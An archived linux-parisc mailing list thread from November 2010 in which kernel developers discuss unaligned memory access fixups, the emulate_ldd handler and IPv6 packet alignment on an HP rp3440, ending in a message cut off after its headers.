	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 17 06:42:15 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PIamb-0001IM-0y
	for glpp-linux-parisc@lo.gmane.org; Wed, 17 Nov 2010 06:42:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753026Ab0KQFmM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Nov 2010 00:42:12 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:36705 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751790Ab0KQFmL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Nov 2010 00:42:11 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 4E0C333E015D;
	Tue, 16 Nov 2010 22:42:11 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7e7sv69rsTvm; Tue, 16 Nov 2010 22:42:11 -0700 (MST)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id F3EAF1E1E001; Tue, 16 Nov 2010 22:42:10 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20101117052642.GF22651@bombadil.infradead.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3242
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3242>

On Wed, Nov 17, 2010 at 12:26:42AM -0500, Kyle McMartin wrote:
> On Tue, Nov 16, 2010 at 10:22:18PM -0700, Grant Grundler wrote:
> > I agree. The kernel is expected to emulate/handle unaligned loads/stores.
> > 
> > I thought we had all that misaligned access handlers working years ago and
> > somewhere probably have a user space program to test it. Oh...ldd won't be
> > user space since we don't have a PA2.0 64-bit user space. LDD support
> > can't be as well tested.
> > 
> > On that note, can you try a 32-bit kernel? (SMP maybe)
> > 
> 
> We really shouldn't be fixing up unaligned access in the kernel, since
> we can just fix the code... If ipv6 is causing them, there must be some
> missing define that's getting defaulted to something un-padded,
> otherwise sparc wouldn't work at all (it definitely does /not/ fix
> unalignd accesses, period.)

I agree but thought davem refused patches to use get/put_unaligned macros
in networking code. Searching for "davem ulog put_unaligned" shows him
accepting such patches. So this is clearly the right path to pursue.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Wed, 17 Nov 2010 09:38:08 -0500 (EST)
Lines: 50
Approved: news@gmane.org
Message-ID: <20101117143809.1F8A14DA1@hiauly1.hia.nrc.ca>
References: <20101117054210.GD27930@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1290004703 25637 80.91.229.12 (17 Nov 2010 14:38:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 17 Nov 2010 14:38:23 +0000 (UTC)
Cc: kyle@mcmartin.ca, grundler@parisc-linux.org,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 17 15:38:13 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PIj9I-0002hm-79
	for glpp-linux-parisc@lo.gmane.org; Wed, 17 Nov 2010 15:38:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933353Ab0KQOiL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Nov 2010 09:38:11 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2735 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756884Ab0KQOiL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Nov 2010 09:38:11 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1F8A14DA1; Wed, 17 Nov 2010 09:38:08 -0500 (EST)
In-Reply-To: <20101117054210.GD27930@lackof.org> from "Grant Grundler" at Nov 16, 2010 10:42:10 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3243
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3243>

> On Wed, Nov 17, 2010 at 12:26:42AM -0500, Kyle McMartin wrote:
> > On Tue, Nov 16, 2010 at 10:22:18PM -0700, Grant Grundler wrote:
> > > I agree. The kernel is expected to emulate/handle unaligned loads/stores.
> > > 
> > > I thought we had all that misaligned access handlers working years ago and
> > > somewhere probably have a user space program to test it. Oh...ldd won't be
> > > user space since we don't have a PA2.0 64-bit user space. LDD support
> > > can't be as well tested.
> > > 
> > > On that note, can you try a 32-bit kernel? (SMP maybe)
> > > 
> > 
> > We really shouldn't be fixing up unaligned access in the kernel, since
> > we can just fix the code... If ipv6 is causing them, there must be some
> > missing define that's getting defaulted to something un-padded,
> > otherwise sparc wouldn't work at all (it definitely does /not/ fix
> > unalignd accesses, period.)
> 
> I agree but thought davem refused patches to use get/put_unaligned macros
> in networking code. Searching for "davem ulog put_unaligned" shows him
> accepting such patches. So this is clearly the right path to pursue.

I also agree that the kernel shouldn't fix unaligned accesses occuring
in the kernel.  It allows for sloppy coding and the fixup can be a
major performance hit on strict alignment machines like sparc and hppa.

It would appear handle_unaligned can't always fixup kernel accesses.
At least, emulate_ldd causes a hpmc attempting to fixup the ldd in
init_page_buffers.  This may be because this is a wrong code error
and the address is in someway invalid.  Maybe more address checking
is needed.

The unaligned access in __tcp_v6_send_check seems to be caused by
saddr being misaligned.  It's possible daddr is also misaligned.
I was going to add a BUG_ON or two to try and get more info.  Don't
know if emulate_ldd can fix this access.

In the case of ipv4, it's possible to pad/start packets in a manner
to make it easier to access the ip header.  Don't know about ipv6.
This may be what Kyle is suggesting.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Wed, 17 Nov 2010 10:33:03 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <20101117153303.GG22651@bombadil.infradead.org>
References: <20101117054210.GD27930@lackof.org>
 <20101117143809.1F8A14DA1@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1290007993 10118 80.91.229.12 (17 Nov 2010 15:33:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 17 Nov 2010 15:33:13 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>, kyle@mcmartin.ca,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 17 16:33:08 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PIk0R-0000fD-Jo
	for glpp-linux-parisc@lo.gmane.org; Wed, 17 Nov 2010 16:33:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754291Ab0KQPdH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Nov 2010 10:33:07 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51757 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753432Ab0KQPdG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Nov 2010 10:33:06 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PIk0N-0003bC-JE; Wed, 17 Nov 2010 15:33:03 +0000
Content-Disposition: inline
In-Reply-To: <20101117143809.1F8A14DA1@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3244
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3244>

On Wed, Nov 17, 2010 at 09:38:08AM -0500, John David Anglin wrote:
> I also agree that the kernel shouldn't fix unaligned accesses occuring
> in the kernel.  It allows for sloppy coding and the fixup can be a
> major performance hit on strict alignment machines like sparc and hppa.
> 
> It would appear handle_unaligned can't always fixup kernel accesses.
> At least, emulate_ldd causes a hpmc attempting to fixup the ldd in
> init_page_buffers.  This may be because this is a wrong code error
> and the address is in someway invalid.  Maybe more address checking
> is needed.
> 

I'll take a look at emulate_ldd. It's entirely possible that it's broken
and we just haven't noticed because we would so rarely hit one in
userspace. (The only PA2.0 code I know of was the code Thibaut wrote to
do ffmpeg in pa2.0 asm. I imagine something like that wouldn't take
unaligned traps if performance was desired... ;-)

> The unaligned access in __tcp_v6_send_check seems to be caused by
> saddr being misaligned.  It's possible daddr is also misaligned.
> I was going to add a BUG_ON or two to try and get more info.  Don't
> know if emulate_ldd can fix this access.
> 
> In the case of ipv4, it's possible to pad/start packets in a manner
> to make it easier to access the ip header.  Don't know about ipv6.
> This may be what Kyle is suggesting.
> 

Right, I'll take a look at what other arches do and get back to you.

No arch should be taking unaligned traps in the packet recv path, as
that would just add unimaginable amounts of overhead...

--Kyle

> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Wed, 17 Nov 2010 09:38:57 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <1290008337.4736.14.camel@mulgrave.site>
References: <20101104153507.GA7198@lackof.org>
	 <20101107193156.F14EF4E1C@hiauly1.hia.nrc.ca>
	 <20101110033527.GA24762@hiauly1.hia.nrc.ca>
	 <20101114234212.GA20422@hiauly1.hia.nrc.ca>
	 <20101117022140.GA2110@hiauly1.hia.nrc.ca>
	 <20101117052218.GB27930@lackof.org>
	 <20101117052642.GF22651@bombadil.infradead.org>
	 <20101117054210.GD27930@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1290008348 12162 80.91.229.12 (17 Nov 2010 15:39:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 17 Nov 2010 15:39:08 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 17 16:39:04 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PIk69-0007k2-LL
	for glpp-linux-parisc@lo.gmane.org; Wed, 17 Nov 2010 16:39:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758218Ab0KQPjA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Nov 2010 10:39:00 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:43767 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758210Ab0KQPi7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Nov 2010 10:38:59 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6D7C78EE0FD;
	Wed, 17 Nov 2010 07:38:59 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12JRV5rwMDZV; Wed, 17 Nov 2010 07:38:59 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D843C8EE0E2;
	Wed, 17 Nov 2010 07:38:58 -0800 (PST)
In-Reply-To: <20101117054210.GD27930@lackof.org>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3245>

On Tue, 2010-11-16 at 22:42 -0700, Grant Grundler wrote:
> On Wed, Nov 17, 2010 at 12:26:42AM -0500, Kyle McMartin wrote:
> > On Tue, Nov 16, 2010 at 10:22:18PM -0700, Grant Grundler wrote:
> > > I agree. The kernel is expected to emulate/handle unaligned loads/stores.
> > > 
> > > I thought we had all that misaligned access handlers working years ago and
> > > somewhere probably have a user space program to test it. Oh...ldd won't be
> > > user space since we don't have a PA2.0 64-bit user space. LDD support
> > > can't be as well tested.
> > > 
> > > On that note, can you try a 32-bit kernel? (SMP maybe)
> > > 
> > 
> > We really shouldn't be fixing up unaligned access in the kernel, since
> > we can just fix the code... If ipv6 is causing them, there must be some
> > missing define that's getting defaulted to something un-padded,
> > otherwise sparc wouldn't work at all (it definitely does /not/ fix
> > unalignd accesses, period.)
> 
> I agree but thought davem refused patches to use get/put_unaligned macros
> in networking code. Searching for "davem ulog put_unaligned" shows him
> accepting such patches. So this is clearly the right path to pursue.

DaveM's argument is that these are exceptions in packet handling rather
than the norm.  As you know, using unaligned on parisc (and sparc) does
byte loads, which is horrifically inefficient in a critical network
path.  So it's faster to process the exceptions periodically than
penalise the fast path.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Wed, 17 Nov 2010 11:03:18 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <20101117160319.984F14DA1@hiauly1.hia.nrc.ca>
References: <20101117052218.GB27930@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1290009808 19850 80.91.229.12 (17 Nov 2010 16:03:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 17 Nov 2010 16:03:28 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 17 17:03:22 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PIkTh-0001PT-W6
	for glpp-linux-parisc@lo.gmane.org; Wed, 17 Nov 2010 17:03:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758176Ab0KQQDV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Nov 2010 11:03:21 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2742 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758125Ab0KQQDU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Nov 2010 11:03:20 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 984F14DA1; Wed, 17 Nov 2010 11:03:19 -0500 (EST)
In-Reply-To: <20101117052218.GB27930@lackof.org> from "Grant Grundler" at Nov 16, 2010 10:22:18 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3246
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3246>

> On that note, can you try a 32-bit kernel? (SMP maybe)

rp3440 doesn't support a 32-bit kernel.  I don't have a 32-bit SMP
machine.  I did try a UP 2.6.36 kernel on my c3750.  It crashed doing
its first gcc build.  Don't know why.  My 2.6.34.7 build is stable.

Now that I have a UP 2.6.36 kernel running on the rp3440, I plan
to retry a SMP kernel with same config.  Possibly the issue that
started the thread was another miscompilation.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Wed, 17 Nov 2010 18:45:49 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <1164312D-EA46-44D3-8BCD-AA5C9D43A19D@parisc-linux.org>
References: <20101117054210.GD27930@lackof.org> <20101117143809.1F8A14DA1@hiauly1.hia.nrc.ca> <20101117153303.GG22651@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1290015967 20169 80.91.229.12 (17 Nov 2010 17:46:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 17 Nov 2010 17:46:07 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 17 18:46:00 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PIm52-0007Ur-5v
	for glpp-linux-parisc@lo.gmane.org; Wed, 17 Nov 2010 18:46:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935109Ab0KQRp7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Nov 2010 12:45:59 -0500
Original-Received: from mail-gy0-f174.google.com ([209.85.160.174]:55221 "EHLO
	mail-gy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934635Ab0KQRp7 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Nov 2010 12:45:59 -0500
Original-Received: by gyh4 with SMTP id 4so1263511gyh.19
        for <linux-parisc@vger.kernel.org>; Wed, 17 Nov 2010 09:45:58 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:cc:message-id:from:to
         :in-reply-to:content-type:content-transfer-encoding:mime-version
         :subject:date:references:x-mailer;
        bh=6YArbor04KZzynmjwY320Eux4eB1+uFkQ9PRzZwEDC8=;
        b=e5rdiMAY/r2LK7UWFCBIOTZHA8RCv0kiZzXApUSRejH3uPq+YGbyl0IXn8tlRgjvT7
         0GpI7kvZIDUSds002bxe3v07wbpEK876mEH6u48kTjjgo78uwOUGkPP9qxKcEKQd7i9k
         lT5HMAL5HDqGsEfoy9cCByNPGcgilQ0eIbgMQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:cc:message-id:from:to:in-reply-to:content-type
         :content-transfer-encoding:mime-version:subject:date:references
         :x-mailer;
        b=OdBRjbJkzC+yykI6Cdr+n7YUfXNe8HJ91aAhiGCLgDqjThhv0nu6/nkAia5yXpOK7N
         XwfWeY6aab+L039QrdJXxY9XNcqkeJ5YaqwqdXGsxhDBT2rYtzYZrRfBmpQBr4TrKpTk
         x2lqNEE4mKiTC6i/TxM7o8MFA5p7Zhhoa9iLs=
Original-Received: by 10.216.15.10 with SMTP id e10mr2056666wee.21.1290015957195;
        Wed, 17 Nov 2010 09:45:57 -0800 (PST)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id w29sm1284294weq.43.2010.11.17.09.45.54
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 17 Nov 2010 09:45:55 -0800 (PST)
In-Reply-To: <20101117153303.GG22651@bombadil.infradead.org>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3247
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3247>

Le 17 nov. 10 =E0 16:33, Kyle McMartin a =E9crit :
> On Wed, Nov 17, 2010 at 09:38:08AM -0500, John David Anglin wrote:
>> I also agree that the kernel shouldn't fix unaligned accesses =20
>> occuring
>> in the kernel.  It allows for sloppy coding and the fixup can be a
>> major performance hit on strict alignment machines like sparc and =20
>> hppa.
>>
>> It would appear handle_unaligned can't always fixup kernel accesses.
>> At least, emulate_ldd causes a hpmc attempting to fixup the ldd in
>> init_page_buffers.  This may be because this is a wrong code error
>> and the address is in someway invalid.  Maybe more address checking
>> is needed.
>>
>
> I'll take a look at emulate_ldd. It's entirely possible that it's =20
> broken
> and we just haven't noticed because we would so rarely hit one in
> userspace. (The only PA2.0 code I know of was the code Thibaut wrote =
=20
> to
> do ffmpeg in pa2.0 asm. I imagine something like that wouldn't take
> unaligned traps if performance was desired... ;-)

Don't imagine too much when it comes to me, you'll always be =20
surprised ;-)
Since my initial code (which stayed at this stage, for lack of any =20
field use) was only trying to get the asm right in the first place =20
(you can see the code here, btw: http://www.parisc-linux.org/~varenet/d=
sputils_parisc.c.html=20
  ) I didn't bother doing unaligned accesses handling when I first =20
tried it, so it's actually very likely I did hit emulate_ldd quite a =20
lot. Fun fact, despite lots of unaligned accesses, that code performed =
=20
on par (and even slightly faster, IIRC) with the C implementation :^)

HTH

T-Bone

--=20
Thibaut VAR=C8NE
http://www.parisc-linux.org/~varenet/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Thu, 18 Nov 2010 10:08:42 -0500
Organization: nrc.ca
Lines: 2110
Approved: news@gmane.org
Message-ID: <20101118150842.GA10093@hiauly1.hia.nrc.ca>
References: <20101104153507.GA7198@lackof.org> <20101107193156.F14EF4E1C@hiauly1.hia.nrc.ca> <20101110033527.GA24762@hiauly1.hia.nrc.ca> <20101114234212.GA20422@hiauly1.hia.nrc.ca> <20101117022140.GA2110@hiauly1.hia.nrc.ca> <20101117052218.GB27930@lackof.org>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="gBBFr7Ir9EOA20Yy"
X-Trace: dough.gmane.org 1290092941 20973 80.91.229.12 (18 Nov 2010 15:09:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 18 Nov 2010 15:09:01 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 18 16:08:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PJ66S-0000qj-5p
	for glpp-linux-parisc@lo.gmane.org; Thu, 18 Nov 2010 16:08:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758656Ab0KRPIq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Nov 2010 10:08:46 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2796 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756378Ab0KRPIq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Nov 2010 10:08:46 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B2F814DA1; Thu, 18 Nov 2010 10:08:43 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101117052218.GB27930@lackof.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3248
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3248>


--gBBFr7Ir9EOA20Yy
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

